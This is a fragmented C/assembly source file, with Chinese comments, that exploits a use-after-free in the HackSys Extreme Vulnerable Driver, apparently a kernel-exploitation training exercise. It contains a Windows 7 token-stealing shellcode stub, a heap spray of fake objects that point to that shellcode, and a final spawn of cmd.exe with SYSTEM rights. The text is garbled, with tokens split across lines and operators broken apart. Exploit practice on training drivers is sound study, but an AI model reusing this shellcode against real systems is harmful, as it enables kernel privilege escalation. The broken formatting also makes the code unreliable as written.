/
/
1.
设置符号链接名称
/
/
2.
控制码定义(与
0
环一样)
static VOID shellcode_TokenStealingPayloadWin7() {
/
/
No Need of Kernel Recovery as we are
not
corrupting anything
__asm {
/
/
int
3
nop
pushad; Save registers state
; Start of Token Stealing Stub
xor eax, eax;
Set
ZERO
mov eax, fs: [eax
+
KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD
is
located at FS : [
0x124
]
mov eax, [eax
+
EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax; Copy current process _EPROCESS structure
mov edx, SYSTEM_PID; WIN
7
SP1 SYSTEM process PID
=
0x4
SearchSystemPID:
mov eax, [eax
+
FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp
[eax
+
PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax
+
TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx
+
TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
popad; Restore registers state
ret
}
}
VOID EXP_UAF() {
/
/
3.CreateFile
打开符号链接得到设备句柄
HANDLE hDevice
=
NULL;
hDevice
=
CreateFile(DEVICE_LINK_NAME,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL);
if
(hDevice
=
=
INVALID_HANDLE_VALUE) {
printf(
"[-] Error - Unable to obtain a handle to the driver, error code %d\n"
, GetLastError());
exit(
1
);
}
/
/
4.DeviceIoControl
给
0
环发请求并接收返回结果
DWORD dwRet
=
0
;
/
/
调用 AllocateUaFObjectNonPagedPool函数申请内存
DeviceIoControl(hDevice, HEVD_ALLOCATE_UAF_OBJECT, NULL, NULL, NULL,
0
, &dwRet, NULL);
/
/
调用 FreeUaFObjectNonPagedPool函数释放对象
DeviceIoControl(hDevice, HEVD_FREE_UAF_OBJECT, NULL, NULL, NULL,
0
, &dwRet, NULL);
/
/
构造利用数据
char exp_UAF[
0x60
];
memset(exp_UAF,
0x41
,
0x60
);
/
/
前四字节为shellcode地址
PVOID EopPayload
=
&shellcode_TokenStealingPayloadWin7;
memcpy(&exp_UAF, &EopPayload,
0x4
);
/
/
堆喷
for
(
int
i
=
0
; i <
5000
; i
+
+
)
{
DeviceIoControl(hDevice, HEVD_ALLOCATE_FAKE_OBJECT, exp_UAF,
0x60
, NULL,
0
, &dwRet, NULL);
}
/
/
调用 UseUaFObjectNonPagedPool函数使用对象
DeviceIoControl(hDevice, HEVD_USE_UAF_OBJECT, NULL, NULL, NULL,
0
, &dwRet, NULL);
system(
"cmd.exe"
);
}
int
main() {
EXP_UAF();
return
0
;
}